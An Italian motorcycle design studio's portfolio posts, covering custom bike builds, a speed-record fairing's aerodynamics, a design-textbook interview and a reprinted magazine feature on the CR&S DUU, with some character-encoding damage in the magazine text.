Posts di Donato Cannatello
MOTO GUZZI V11 “Scurissima”
La personalizzazione della propria moto è qualcosa di diverso da ogni altro tipo di ricerca che qualcuno possa fare.
È diverso dalla ricerca tecnologica volta alla creazione o invenzione di qualcosa, è diverso dalla ricerca stilistica che si possa fare in fase di concepimento di qualcosa, è diverso anche dalla personalizzazione che si può fare in altri campi. Dai più frivoli come scegliere il colore dei calzini fino ai più importanti come le grandi ristrutturazioni architettoniche ma addirittura anche molto diverso dalla pratica simile della personalizzazione di un’auto.
Il rendere una motocicletta il più simile a se stessi o alle proprie idee o anche i propri ideali o stilemi è una operazione che per la maggior parte dello sviluppo prevede tantissime ore stando semplicemente seduti di lato alla tua moto a guardarla, immaginarla, sognarla.
Quando pensiamo alla nostra moto la immaginiamo come un complemento imprescindibile. Non può esserci nessun elemento che non sia come noi lo vogliamo, nessun pezzo, nessuna vite, nessun colore, nessun riflesso, nessuna ombra.
La nostra MOTO GUZZI V11 è secondo noi il vero TAILOR MADE applicato alle motociclette.
Una certosina definizione dei gusti e dello stile del cliente, di come lui guida, di come si veste, di cosa gli piace e di cosa non gli piace, di come la cura e di come la maltratta.
Nessun elemento appariscente, ma un elegante insieme di finiture e parti, una moto “buona” e gustosa ma che non urli e non sia vistosa. Un equilibrio di colori e piccoli dettagli da scoprire ma sopratutto da usare, applicati su di una base meccanica semplice ma performante. Una moto funzionale ma con quel gusto di tradizionale che ti rende l’andare al lavoro piacevole e ti fa iniziare meglio la giornata.
Samurai Chopper
Quando vedo la nostra Samurai ammutolisco...
Bassa , lunga, stretta e nera tanto che ti viene paura di guidarla e desiderio di domarla.
A prima vista la Samurai Chopper sembra un cancello con ruote da furgone, un micro serbatoio e quell'ammasso di cilindroni e carteroni, poi ti soffermi sui freni da locomotiva ed i comandi a micro-switch e cominci a strabuzzare gli occhi... Lentamente inizi a scorrere saltando da un dettaglio all'altro, da un contrasto all'altro, da una chicca all'altra. L'alternanza tra il nero, il cromo e l'ottone è ipnotico come un pinball in pieno bonus ball.
Ti soffermi sui braccetti ricavati dal pieno di bellissimo alluminio occultati dalla vernice e nascosti dallo scarico inossidabile in vero tubo dritto da 2 semplici pollici.
Vedi sospensioni mirabolanti e soffici ma non vedi ombra di un ammortizzatore. Vedi dadi stranissimi usati solo nelle più remote costellazioni che tirano tiranti di registri con snodi Uni-Ball che regolano micrometricamente il precarico del nulla.Poi vedi la verniciatura e cominci ad entrare in tutti i livelli di nero che ci possono stare in un serbatoio così piccolo.
Ed il cromo, le molle della Springer, il manubrio chiatto e dritto ed il catenone da ponte sul Tamigi.
Poi ci salti sopra e parti e sei l'uomo più felice della terra.
Triumph Speed Triple 1050 “Speed Black”
La Triumph Speed Triple 1050 è una delle nostre moto preferite, la sua impostazione ciclistica, l’estetica, la posizione di guida, le caratteristiche del motore la rendono il giusto compromesso tra estetica, divertimento, usabilità e look!
Magari noi non siamo proprio per l’ottica doppia cromata tipica di questa moto e delle serie precedenti, ma ne rimane comunque un tratto distintivo importante esclusivo e caratterizzante, impossibile quindi rimuoverlo.
Per questa moto quindi abbiamo optato per un leggero restyling della zona faro posteriore, di base molto importante e pesante, realizzando ad hoc un supporto fanale e targa di dimensioni ridotte.
Tutta la coda è stata quindi snellita e grazie allo scarico basso e corto, molto racing, che da alla moto una immagine molto più esile.
Il risultato complessivo è una moto bella, semplice alla vista ed all’uso, leggera e piacevole da guidare e grazie alla grafica “tono su tono” rimane un oggetto misterioso ed elegante che si aggira per la città di notte illuminata dai lampioni al quarzo e scandita dalle note dei Club metropolitani.
HARLEY DAVIDSON XR1200 “Rasti”
UM Renegade Tracker 300
Per UM Global abbiamo fatto un piccolo Scrambler ed un piccolo miracolo.
A solo una settimana dalla fiera internazionale del motociclo di Milano EICMA, riceviamo un pacco con una serie di pezzi ed un paio di telai da unire, in sostanza si trattava di fare una moto da due, avantreno da una, motore dall'altra, sovrastrutture da una e serbatoio dall'altra.
Il risultato parla da solo, con soli tre giorni di intensissime sessioni di saldatura TIG, abbiamo ricostruito il telaio ex-novo ed adattato tutti i pezzi della meccanica e delle sovrastrutture. Tutta una serie di dettagli sono stati creati tramite stampa 3D o manualmente tramite tornio/fresa.
La moto è una perfetta incarnazione di uno scrambler urbano moderno, leggera (motore 300cc 4 tempi ad acqua), ruote piccole, estremamente divertente e maneggevole.
La moto ha riscosso un ottimo successo al recente Salone Internazionale della moto di Milano EICMA 2015, avvicinando lo stile UM a quelle che sono le richieste del nuovo (per loro) mercato europeo.
Record Motor Cycles c1
RECORD MOTOR CYCLES c1
Presentata in occasione del EICMA 2015, al Dainese D-Store, il 18 Novembre 2015 il concept Record Motor Cycles C1 é la anteprima di un nuovo ambizioso progetto di Roberto Crepaldi.
Il modello realizzato e progettato da GIVEN design con la partecipazione tecnica di In-Motion ci ha visti coinvolti per tutta la parte di trasformazione dal bozzetto di stile al modello finale, passando per la modellazione della carena, la scansione 3D del pilota, e la ricostruzione del modello del pilota stesso. Tutto volta alla piu' perfetta integrazione della sagoma del pilota con la carena, questo nel rispetto e l'osservazione dei limiti imposti dal regolamento FIA.
Per maggiori informazioni consultate il sito RECORDMOTORCYCLES.COM
In queste immagini è possibile vedere le fasi di costruzione del modello e del telaio necessari per poter scannerizzare il vero pilota in 3D.
Le fasi di lavorazione della carena e del telaio prima della verniciatura.
La moto finita nel nostro workshop.
Alcune immagini della preparazione e della presentazione del modello.
Un "piccolo" approfondimento tecnico sull'aereodinamica frutto di Riccardo Capacchione di RMC:
LA CARENATURA E L’AERODINAMICA
La componente più vistosa della nostra moto da Record di Velocità è sicuramente la carenatura. Anche detta “carena”, svolge una doppia funzione: ovviamente estetica e funzionale all’efficienza aerodinamica. La componente estetica è materia del Designer che però non si limita, come si potrebbe pensare, a tracciare linee “sexy” in grado di sedurre i probabili clienti. Roberto Crepaldi, l’ideatore del Progetto Recordmotorcycles, ha disegnato i primi bozzetti di stile con il classico sistema del foglio bianco e carboncino. Questi sono poi stati elaborati in forma digitale dal nostro Donato Cannatello, uno specialista in questo settore (www.given.it), in modo da essere modificati e rivisti velocemente. Donato ha effettuato anche una scansione in 3D dell’intero sistema moto-pilota per svolgere un’analisi dimensionale e di rendimento dei flussi aerodinamici e in seguito ha realizzato stampe “solide” in 3 Dimensioni di ogni componente considerato cruciale nell’economia generale del design, per conseguire anche la resa “tattile” della parte disegnata al CAD.
Il contrario del Volo
Come dicevamo, il disegno della carenatura deve tener conto della funzione molto importante svolta da questa “copertura” che avvolge la moto. Ci riferiamo all’efficienza aerodinamica, dato che il profilo della nostra moto non è altro che un profilo alare… capovolto (vedi Glossario, in fondo). Il parafango anteriore è considerato parte integrante della carenatura dato che, escludendo il pneumatico, è il componente preposto ad “aprire” l’aria durante la corsa.
Il fluido in cui la moto si muove, prosaicamente detto “aria”, si oppone al moto della... moto, e questa resistenza aumenta con il quadrato della velocità: se raddoppiamo la velocità, la forza aerodinamica resistente Fr aumenterà del quadruplo e così via, esponenzialmente. Provate a mettere una mano fuori dal finestrino di un’auto in corsa, a 130 km/h. La spinta sul palmo è già notevole, ora immaginate a 450 km/h o giù di lì quale sia l’entità delle forze con cui si ha a che fare.
Il parafango quindi “apre” la vena d’aria, convogliandola sui fianchi della carenatura e sul cupolino. La forma particolare del nostro “fender” genera anche una spinta verso il basso, detta “deportanza” (downforce), che comprime il pneumatico sul fondo stradale, evitando che la moto sollevi il muso, proprio quando al nostro pilota non piacerebbe. Si tratta di una forza direttamente applicata sulla ruota, dato che il parafango è fissato alla porzione di forcella “appoggiata” a terra e risulta quindi particolarmente efficace. La stessa funzione è svolta dal cupolino, che però “spinge” sulla porzione di moto che si trova “sopra” le sospensioni e di questo il nostro progettista, l’Ing. Giulio Bernardelle, deve tenere conto (ne ha tenuto conto…) nel calcolo delle molle della forcella, chiamate a sostenere alla velocità massima un carico ben superiore di quello misurabile a moto ferma. La downforce generata dal cupolino avrà quindi un minor effetto reale rispetto a quella del parafango anteriore ma essendo la superficie esposta ben maggiore, la spinta sarà comunque considerevole.
L’importanza dei fianchi armoniosi
La carenatura riceve il flusso d’aria proveniente dal parafango sui fianchi debitamente raccordati. La loro forma evita che il flusso d’aria si muova in modo disordinato e protegge, così come fa il cupolino per la porzione superiore, il pilota. Stivali, gambe, braccia, casco, spalle, si trovano così “sotto” la potente vena d’aria e non creano vortici imprevedibili che potrebbero perturbare la stabilità della moto. In realtà l’aria che scorre a diretto contatto delle superfici della carenatura si muove di moto turbinoso creando uno strato - il più sottile possibile - in cui i vortici si rincorrono, scivolando verso la parte posteriore della moto. . Sopra questo ”strato limite”, se la carenatura è ben disegnata, l’aria si muove in modo molto più ordinato, detto “moto laminare”, il che migliora di molto l’efficienza aerodinamica della moto. Si tratta di un aspetto molto importante e rappresenta uno dei compromessi che nella progettazione si è costretti ad accettare. Non potendo ridurre completamente il moto dell’aria in “laminare” si cerca di ridurre al minimo quello vorticoso e il motivo c’è eccome: per generare dei vortici è necessario attingere energia da qualche parte (pensate agli uragani che si alimentano del calore del mare e si annullano quando questo è assente), e l’unica energia disponibile è quella prodotta dal nostro motore V8. Questo significa che una parte (notevole) di potenza è spesa per “far girare l’aria” e non per accelerare la moto. Inoltre i vortici compromettono la stabilità il che, oltre ad essere un effetto poco gradito al pilota almeno tanto quanto l’impennata sopra descritta, è un altro modo per sottrarre energia al motore.
I fianchi saran belli, ma la coda…
Oltre i fianchi della carena il codino “chiude” il flusso d’aria in cui la moto si muove, in modo da non generare vortici nella porzione posteriore. Come ripetuto fin qui, la turbolenza frena la moto, in questo caso come se vi fosse una “mano gigante” che tira indietro il veicolo. Il nostro codino è molto alto, ma lo avremmo disegnato ancor più alto per raggiungere il massimo dell’efficienza. Esistono però limiti, imposti dal regolamento, ben precisi. Il codino non può essere più alto (misurando da terra) del doppio del raggio della ruota. La forma che ci si aspetterebbe per la parte terminale del codino è la “goccia”, un profilo curvo che chiuda la sagoma, raccordando le forme secondo linee morbide. Ebbene, questa soluzione porterebbe dei benefici se la lunghezza dell’intera sagoma della moto fosse almeno sette volte maggiore della sezione maestra. Un attimo, ci spieghiamo.
La “sezione maestra” è la superficie più grande rilevata su un piano perpendicolare rispetto all’asse longitudinale della moto. Ancora troppo “incasinata” la spiegazione? Pensate allora di “affettare” la moto, come fareste con una mortadella gigantesca. La, hem, “fetta” più grande rappresenta la sezione maestra e dato che, al contrario della… mortadella, questa fetta non sarà un cerchio perfetto, bisogna considerare i due punti del perimetro più lontani tra loro. Questa è la quota da utilizzare per calcolare la lunghezza minima della moto nel caso si voglia realizzare la cosiddetta “goccia”.
Procedendo con questo metodo la lunghezza totale sarebbe ben superiore agli otto metri, improponibile per una serie lunghissima di motivi. Giusto per dirne uno, pensate alla coppia di imbardata che provocherebbe giusto un alito di vento laterale…
Se non funziona, meglio “troncare”…
Il sistema migliore è di “tagliare” in modo netto la sagoma della moto, ottenendo così la “coda tronca”. Avete notto che tutte le automobili non hanno un disegno a goccia del posteriore, bensì terminano con una linea verticale netta? Ora sapete il perché.
Per concludere, anche la coda tronca ha i suoi limiti aerodinamici e i vortici dietro di essa si creano eccome, perché la zona appena dietro la moto è di bassa pressione atmosferica. L’aria viene “aspirata” al suo interno da ogni lato in moti vorticosi che sono un vero freno aerodinamico. Per questo i nostri terminali di scarico “soffiano” in questa zona, uscendo dal retro del codino: aumentando la pressione in questa zona grazie ai gas caldi provenienti dal motore, limitiamo di parecchio l’effetto nocivo dei vortici. Se a questo punto non vi siete chiesti cosa sia quell’elemento posto sotto la carena davanti alla ruota posteriore, ve lo diciamo noi: si tratta di un componente che contiene i radiatori di raffreddamento del motore. Sfrutta la zona di alta pressione situata anteriormente e quella di bassa pressione immediatamente dietro al “contenitore”. La differenza di pressione viene così sfruttata per accelerare il flusso d’aria che trova come facile “passaggio” le prese poste anteriormente all’elemento e che convogliano il getto aerodinamico all’interno, proprio dove sono sistemati i radiatori. La porzione in bassa pressione che si crea giusto dietro al convogliatore, aspira l’aria contenuta all’interno, contribuendo a creare un potente flusso che raffredda il fluido refrigerante che scorre nei radiatori. Quando vogliamo, siamo proprio geniali, vero?
Infine un breve glossario “aerodinamico”:
DRAG: è la capacità di “scavare” (riferendoci al verbo inglese) l’aria, aprendo un “passaggio” per la moto.
CX: si tratta di un coefficiente calcolato che rappresenta la capacità di penetrazione aerodinamica di un veicolo. Nel suo calcolo è tenuto in considerazione anche il “Drag”.
STRATO LIMITE: è la superficie che divide lo strato d’aria in movimento vorticoso e quindi incontrollato, da quello in cui il fluido (l’aria) si muove in modo ordinato, come se fosse composto da “lamine”, appunto.
DEPORTANZA: è la forza con direzione verticale rispetto al terreno, generata grazie alla differenza di pressione tra due superfici. Negli aerei il profilo alare genera una forza identica, ma contraria, la portanza. Dato che l’ala è curva superiormente e piatta nella parte inferiore, l’aria deve accelerare percorrendo la superficie superiore per ricongiungersi al termine dell’ala con la parte di flusso che scorre sulla faccia piatta. Per l’effetto di Bernoulli, si crea una depressione nella parte superiore dell’ala e una “pressione” quindi nella parte inferiore. Questo spinge l’aereo verso l’alto. In una moto (o auto) si sfrutta lo stesso principio, ma al contrario, per mantenere il veicolo aderente al terreno.
Viste le tecnologie sofisticate utilizzate per la progettazione e costruzione di ogni più piccolo dettaglio della moto, ha aggiornato con l’upgrade dei colori, anche hanno soppiantato il classico bianco ew nero. A parte gli scherzi, la matita tra le mani e il foglio di carta sono un riferimento materico quasi indispensabile per moltissimi progettisti. Ub punto di unione e transizione tra il pensiero più ardito, il mondo reale e infine il confronto con la tecnologia disponibile (e i costi), l’inflessibile Entità che delimita entro confini finiti l’immaterialità del pensiero creativo. Insomma, il bozzetto rende visibile l’idea e consente all’ingegnere di capire quali siano le tecnologie più adatte al Progetto e la fattibilità di soluzioni inedite o, più spesso, riproposte in forme e abbinamenti nuovi.
Il design di una carenatura inizia in realtà dal parafango anteriore. Questo vale per tutte le moto e in particolare per la nostra, perché le velocità in gioco durante lo “Speed Attack” saranno ben superiori a quelle raggiungibili sicuramente da qualsiasi moto stradale ma anche da una MotoGP. Durante il lancio verso la massima velocità, ci troveremo di fronte un vero e proprio “muro d’aria”: la resistenza aerodinamica in un fluido (l’aria, in altre parole) aumenta con il quadrato della velocità. Per intenderci, viaggiando a 10 km/h l’aria genera una data forza Fr che si oppone al moto… della moto. Se passassimo a 20 km/h, la forza aerodinamica resistente diventa il quadruplo di quella misurabile a 10 km/h. Salendo a 40 km/h, la Fr corrisponde a 16 volte la Fr rilevabile a 10 km/(h e così via. A 450 km/h, immaginate l’intensità della Forza aerodinamica che “spingerà” sul muso della nostra moto!
Provate a mettere una mano fuori dal finestrino di un’auto a una velocità 100 km/h (o giù di lì) e avrete la percezione della spinta aerodinamica a una velocità non certo elevatissima. Già che ci siete, provate a orientare il palmo, esponendolo completamente all’aria e ruotando poi la mano e verificherete quanto cambi la forza cambiando la superficie esposta della mano.
Per capire il ruolo cruciale delle diverse componenti della carenatura o meglio, delle sovrastrutture della nostra moto, immaginate di essere sulla sella e attraversare un piano verticale nello spazio. Appena dopo il pneumatico anteriore (si dice “lo”, vero, ma è orrendo da leggere e sentire…) arriva a oltre 400 km/h il parafango, il cui disegno contribuisce a spostare verso il lati esterni e verso l’alto le molecole d’aria. La spinta aerodinamica, oltre a frenare l’avanzamento della moto, spinge verso il basso il parafango che, essendo vincolato alla forcella, mantiene il contatto tra gomma e suolo. Il cupolino svolge una funzione simile, “aprendo” la vena d’aria nella maniera più coerente e meno turbinosa possibile. Anch’esso grazie alla sua forma genera una forza diretta a 90° rispetto al terreno ma, essendo vincolato alla parte superiore della moto che non è in contatto diretto con il terreno (massa non sospesa), la spinta che se ne trae agisce sulle sospensioni comprimendole e di questo bisogna tenere conto nel momento in cui il nostro Ingegnere deciderà il “k”, la costante elastica (o la durezza, fate voi..) delle molle della forcella.
Tecniche di studio e design
Tecniche di studio e design
Pubblicato in Cina con una tiratura di 75.000 copie, ad uso come manuale tecnico nelle facoltà cinesi di ingegneria, il volume "Tecniche di studio e Design" è il terzo di una fortunatissima serie di manuali tecnici scritti dal prolifico prof. Stone Wen.
Al suo intenro descrive alcuni processi produttivi da noi adattati, portandoli ad esempio per i giovani studenti cinesi.
La pubblicazione di questo libro è stata una esperienza estremamente piacevole ed interessante.
内容提要
温为才、陈振益、苏柏霖、Enrico Leonardo Fagone、Donato Cannatello编著的《产品造型设计的源点与突破》从点、线、面、体出发,对产品造型追本溯源,以该源点再次出发,探讨了演绎丰富造型的可能性,以帮助读者透析造型设计的本质。本书提出了6个造型方法,4个造型步骤,3个产品统一性的技巧,为读者从事造型设计工作提供了实际而有效的造型方法。针对自由曲面,提出了混成、围合及动作思维3种造型手法,为读者驾驭自由曲面这一造型难点提供了针对性的解决方案。本书以造型心理惯性出发,提出了5组造型心理惯性及其突破的方法,为读者打破自身的造型局限,进入更为丰富的造型世界开启了一扇窗口。本书采访了多位欧洲顶级设计师,实地走访了多家意大利顶级设计公司,为读者提供了全新的第一手设计资料,通过对这些设计案例的深入分析,可以帮助读者了解了这些优秀设计师的设计方法及优秀设计案例的造型过程,有助于开阔读者的设计视野并提高读者的审美层次。
Sintesi dell'intervista:
1a. The form of motorbikes has undergone great changes ever since their emerging. What do you think might be the factors involved in this process of changing?
The soul of motorbikes has remained substantially unchanged in more than a hundred years.
And this is confirmed by some models currently in production which reinterpret the style of classic motorbikes since they recall the essence of motorbikes; two wheels, an engine, vibrations and emotion.
The changes in forms and styles that inevitably ensued in time depend in my opinion upon 4 reasons: technique, fashion, cultural evolution and racing.
For the first 80 years we’ve been focused mainly on technical evolution, producing machines which aimed more than enything else to perfection and performance.
In the last 20 years instead the development of the more interesting elements of technique and racing stopped, leaving the evolution of the motorbike to the sole socio/cultural aspects.
As of today such aspects are predominant in motorcycle production and generate nostalgic, absurd, futuristic or hyper detailed models.
.1b. In which way the form of European motorbikes might evolve in the future?
European design, such as eastern and western design, will specialize following specific exigencies; form is always defined by the place where production begins.
Notwithstanding the inevitable cultural contamination, European production will always aim to a motorbike that is both functional and passionate, a perfect balance between driving and aesthetic characteristics, fun and usefulness. Everything to go along with our own territory, so uneven, with variable landscapes, winding roads and steep hills.
As American production is dedicated to their endless plains and long and straight roads, and at the same time eastern production tends to follow the markets, cities and street overcrowded with extremely functional and rational products.
- Each excellent motorbikes design is featured by its own unique style, conveying to the customers special emotions and connotations. As a designer, how do you illustrate the personality of the motorbike by using the form language ?
In motorcycle design, and more generally in industrial design, volumes are the main feature, the first to convey a message to the customer.
Looking at something against the light, one can sense immediately its character: if it conveys power, lightness, speed, elegance or anything else.
The same happens in nature, discerning in the darkness a pit-bull from a poodle just from its outline.
- Motorbike design has to take many parts into consideration, such as the chassis, the engine and the exhaust pipe and so on. It appears complicated and overwhelming to beginners. Do you have any suggestions on how to balance the skin (the covering parts) with the structure to achieve a perfect unification?
It depends: are we drawing on a white sheet or are we working on something?
In general, design should come first, before exhaust pipes, before the frame and before the engine. Design has to be the first approach to a motorcycle project. Mechanics will then follow the directives of design with reciprocal adaptation.
If the approach of design follows the planning (as it happens in restyling), then some fixed points have to be decided in order to proceed freely with all the rest. For technical objects such as a motorbike, there can be an easy rule: parts which are mechanically interesting or well done have not to be covered, but left in plain sight. If possible it is to be preferred to redesign a technical part that is not satisfactory and make it part of the design, instead of covering it.
There is however one fundamental thing in our designing, the point of view of a motorbike is never perfectly lateral to the bike but is placed higher; let’s do not then only design a beautiful lateral view, often a good proportion of the lateral/superior volumes is more important that the lateral view.
- In a certain extent, the perspective view, light and shadow of a motorbike is more difficult to control than those of a car. How can we get a better control in motorbike sketching? Can you Please show us the drawing process of a Motorcycle( by using 6 pictures to explain the drawing steps). For the young students, How to improve the drawing abilities.
Considering the difficulties of motorcycle design, we can interpret it as a multilevel design.
1A first level, global vision, a second level, more detailed, a third level, even more detailed, and so on. The first level is the most important, what the customer gets at first sight, what conveys you the pleasure or fun of an object.
I work following this rule.
Starting from the overall view (general volumes) and then following with the definition of more particular details: the tail, the front, the frame, etc. up to the screws.
- Motorbikes and cars are all transportation vehicles and the form design of both are naturally connected. Then, what, do you think, distinguishes each of them?
Historically, the use and function of cars and motorbikes have always been different and hence also the respective design.
Now they are crossing, evolving in all directions.
Cars used to have as primary function transportation, while bikes were more linked to the idea of form (fun, taste, speed).
Today the market tends to fill any void, and therefore we have cars that are pure form and motorbikes which are pure function.
For motorbikes this change is by now consolidated on the market (i.e., scooter), while this new tendency for cars is still not predominant, and interests a smaller niche of the market; but I am sure that soon we will see cars with the engine in plain sight, “naked” as motorbikes.
- At present, many new technologies, such as carbon fiber and LED, are applied to the manufacturing of motorbikes. How will these new technologies affect the form design of motorbikes?
New technologies have always influenced design as a fundamental part of its development process.
Personally the main contribution that I received and appreciated from modern technologies has been in production numbers.
Today it is easier to build a small series of motorbikes thanks to new technologies such as carbon fiber, LEDs, CNC machines, prototyping and new materials.
For example, prototyping and CNC milling applied to modern materials allow us to have a unique ABS piece, without the need of expensive and difficult injection moulding; furthermore, thanks to silicon stamps, we can build small series of copies in polyurethane with low costs.
Also polyelliptical headlights (even better with LED technology) contributed to overcome the limits of industrialization. They can be hided in a transparent Plexiglas fairing, shaping them without the need to homologate a new light as it was necessary before.
And finally carbon and laminates in general free us from structural boundaries of plastic, with mechanical and not only aesthetic improvements.
- Some of the top motorbike designs are completed by handicraft. How is the value of the motorbike is expressed by traditional handicraft?
I am fond and always been a supporter of handwork.
In motorcycle design handiwork is substantially clay modeling and the level of detail is high, but it requires time and economical resources for the reverse engineering process necessary to transform everything in digital form.
I prefer using digital the means that are at our disposal, avoiding the analogical passage, to simplify and speed up the creative process.
CR&S DUU “SmallSheep”
Una proposta di Light Restyling per la CR&S DUU
Abbiamo cercato di adeguare lo stile a delle forme più classiche, con un faro tondo all’anteriore e la rimozione di alcune plastiche e cooperture ridisegnate.
Un intervento molto conservativo per permettergli di funzionare sia come aggiornamento che come upgrade after market.
Victory Hammer “Dnt”
La Victory Hammer DNT è stata disegnata per DNT Racing,
E’ una moto vetrina che rappresenta quello che si può fare con una Victory Hammer senza alcuna modifica strutturale o omologativa.
Tutte le parti sulla moto in oggetto sono state progettate ad hoc e si montano sulla moto senza alcuna modifica.
Da questa moto verrà ricavato a brevissimo un Kit di trasformazione regolarmente in vendita tramite la rete commerciale di DNT Racing.
Il Kit, montabile su qualsiasi Victory della famiglia Hammer, si potrà montare senza alcuna modifica, e conservando le caratteristiche di omologazione della moto, sarà quindi composta da varie parti, consentendo all’utente finale di customizzarsi la sua Victory dall’avantreno fino alla coda, passando per particolari tecnici come i cerchi a raggi con canale da 10″ volti ad ospitare gomma posteriore da 300mm.
La moto successivamente è stata ulteriormente modificata in modo da rendere il processo di costruzione più industriale e “cost effective”, la coda quindi è stato realizzata con uno stile più “classico”.
H5 – BULINATURA E CESELLO
La GIVEN è una azienda fortemente indirizzata verso il mondo digitale, la progettazione assistita al computer e le tecnologie più moderne ed innovative. Al tempo stesso però abbiamo una forte vocazione per il Design inteso anche come "stile" o puramente "estetica" dell'oggetto.
Quindi i nostri interessi non si limitano solo alla progettazione ed alle parti solide, ma anche alla loro finitura.
E' per questo che abbiamo curato una serie di finiture manuali che possano "decorare" l'aspetto esterno delle nostre parti.
La bulinatura si inserisce a pieno merito in questo filone, in quanto consente di dare un ulteriore dettaglio stilistico a parti pur finite come si crede, quindi che possano essere lucidate, spazzolate o anche verniciate.
Per intraprendere questa bellissima tecnica (o meglio "arte"), ci siamo dotati di pazienza, di sudore e di strumenti realizzati ad hoc.
RIDERS 08 2009
In una Milano sempre meno cont el coeur in man, per fortuna c’è ancora qualcuno che costruisce le moto con il cuore e con le mani.
Una a una, con cura artigianale e passione. Di storie di moto e di uomini ne sono state raccontate tante, ma questa è la storia di un’idea.
Una storia semplice, ma speciale nel suo piccolo.
Se due ruote muovono l’anima, il coraggio di pochi amici è riuscito a riportare un marchio motociclistico a Milano. Un tempo all’ombra della Madonnina operavano marchi come Bianchi, Miller-Balsamo, Iso Moto, Parilla, Guazzoni, Innocenti. E la Paton di Peppino Pattoni, l’ultimo costruttore privato a battersi nei GP contro i colossi giapponesi, con le quattro cilindri verdi.
Oggi, nella città della moda, a tagliare moto su misura c’è la CR&S. Vista da fuori, la sua sede operativa è un piccolo capannone come tanti altri nella zona industriale di Settimo Milanese. Tranne che per un particolare, le moto allineate fuori: si somigliano, ma non sono identiche. Sono monocilindriche un po’ cafè racer, un po’ naked formato tascabile. Si chiamano Vun. Sono l’Idea. Le persone che l’hanno realizzata lavorano sotto lo stesso tetto, come parti della medesima motocicletta. L’officina È al piano terra, i muri sono tappezzati dai manifesti del Bol d’Or, del Tourist Trophy e di Assen. Il reparto design e scartoffie È sul soppalco open space (anzi, spasi avÈrt), dominato dalla sinuosa carenatura della superbike Britten V 1000. Roberto Crepaldi siede proprio di fronte. Fu lui a fondare la CafÈ Racers & Superbikes nel 1992, dopo aver lasciato la Numero Uno aperta con Carlo Talamo e Max Brun. L’anno seguente incontra John Britten, il geniale ingegnere neozelandese famoso per la sua V 1000. Anche lui all’inseguimento di un’idea veloce. La Britten, sostenuta in Europa dalla CR&S, si mette in mostra nelle competizioni in tutto il mondo, fino alla scomparsa dello stesso Britten. Sfruttando l’esperienza di imprenditore nel ramo auto (era stato concessionario di Ferrari, Jaguar e Aston Martin), Crepaldi prende spunto dall’ultimo progetto dell’amico John di una monocilindrica da competizione, monoposto, con il rapporto peso e potenza pari a uno. Uno. Vun, in dialetto milanese… Giovanni Cabassi e Giorgio Sarti sono gli amici, imprenditori, liberi pensatori di moto che nel 2002 hanno affiancato Crepaldi nella CR&S. Due anni dopo Roberto Pattoni, figlio di Peppino e patron della Paton, diventa partner della CR&S come responsabile tecnico dello sviluppo. La scelta del motore cade sul Rotax Bombardier 650, apprezzato sulla BMW F grazie alla sua vocazione stradale e all’affidabilitÀ . Pensata come un mono da corsa, la Vun si rivela un animale da misto stretto, ottima anche per l’uso in cittÀ . Il design fonde le linee classiche del telaio in tubi alla moderna carrozzeria in alluminio, linee affusolate e soluzioni tecnologiche. Ogni esemplare È personalizzabile, perchÈil pilota possa provare il piacere di costruirsi la propria Vun scegliendo componenti e verniciatura. Alla fine del 2006 comincia la produzione di serie, in poche decine di esemplari l’anno, affiancati dai prototipi racing. Di recente si sono aggiunte le due versioni EvoluziÀ²n del mono da 652 cc. La prunta per la cursa sviluppa 68 cv, mentre la nurmÀ l si accontenta di 54 cv a 7.000 giri. Comunque niente male, tenendo conto che il peso a secco È di soli 135 chili… La Vun parla meneghino perfino nella scheda tecnica, nella quale il disco freno flottante diventa disc balerÀ¬n e la catena con gli o-ring cadÈna cont i anÈi de goma…
La grande scommessa della CR&S sembra vinta, la distribuzione si slarga in Europa e Stati Uniti, ma le idee non smettono di girare. Quella di dare l’inevitabile seguito alla Vun, con due cilindri fuori dagli schemi e dalle logiche dei grandi numeri, era giÀ nella testa dei costruttori milanesi nel 2008. FinchÀ©, racconta Crepaldi, al Motor Bike Expo di quell’anno arriva la rivelazione: «Avevamo lo stand della OMM, l’Officina Meccanotecnica Milanese che importa le Wakan, assieme a quello della Confederate, proprio di fronte allo stand Zodiac con il nuovo bicilindrico X-Wedge di S&S. Quindi Wakan, X-Wedge, Confederate, Vun… Duu!».
L’aneddoto racchiude di per sÈla cifra concettuale, stilistica ed estetica della nuova bicilindrica CR&S. In sostanza: una maxi streetfighter inedita, meno elitaria della Confederate, radicale come la Wakan e costruita
facendo tesoro dell’esperienza Vun. Il cuore del progetto È il motore X-Wedge, che ha il requisito fondamentale di non essere un’imitazione del Twin Cam Harley-Davidson. Il V2 a 56° S&S È altrettanto massiccio, ma piÀ¹
moderno e potente, con i suoi 2.000 cc, i tre alberi a camme, l’iniezione elettronica. Àˆ capace di 160
Nm di coppia massima poco oltre i 3.000 giri. Roba da ribaltamento, perÀ² omologato Euro 3. E considerando che la Duu dovrebbe pesare “solo†250 chili, come una Harley Sportster 883…
Fate caso a come ricorrono i numeri: due cilindri, due litri, due posti (volendo). E il grosso tubo che caratterizza il telaio a struttura mista in acciaio. I primi sketch sono dissimulati dalle sovrastrutture in optional, ma È lampante che il bello della Duu risplenda nella sua semplicitÀ brutale. Nuda e cruda, studiata per essere guidata di testa e senza troppo sforzo, ma concepita per colpire alla bocca dello stomaco. Ancora
una volta forma, funzione ed emozione si rincorrono in un gioco di equilibri. Come la Vun, anche la Duu È una storia di libidine destinata a motociclisti adulti, evoluti ed esigenti. Che magari vogliono tornare a innamorarsi di una moto emozionante. Lo diceva il filosofo Gilles Deleuze, che «non c’È rivoluzione senza investimento libidinale». E senza, nemmeno si costruiscono moto uniche, con il supporto di un tasso di creativitÀ che le grandi Case non si possono piÀ¹ permettere, soffocate dalla cautela e dalle logiche di marketing. Àˆ una scommessa affascinante, tutta da giocare, ma alla portata. Anche se È ancora a livello
di prototipo, si sa giÀ che il prezzo della Duu dovrebbe oscillare fra i 19 e i 20mila euro.
Poco piÀ¹ di una Ducati Streetfighter S, in linea con la V-Rod Muscle, meno di una V-Max
e di una Harley-Davidson CVO.
Presentazione del prototipo all’Eicma di quest’anno, per vedere la moto definitiva al Salone di Milano del 2010. Produzione dalla stagione successiva: «Non puntiamo ai grandi numeri, siamo una piccola realtÀ con le idee
chiare» conclude Crepaldi. «Il traguardo di cento moto all’anno significherebbe raggiungere il punto di pareggio e permetterci un margine di utili, da reinvestire nello sviluppo della prossima motocicletta CR&S». Tradotto
liberamente in milanese: Gh’È minga de Duu senza Tri.
Leggi l’articolo…
S3 – LOGISTICA E.I.C.M.A.
Grazie alla nostra vicinanza alla Fiera Internazionale del Motociclo di Milano EICMA, possiamo offrire ad aziende nazionali ed estere un completo servizio di logistica e gestione dello spazio espositivo in occasione della fiera.
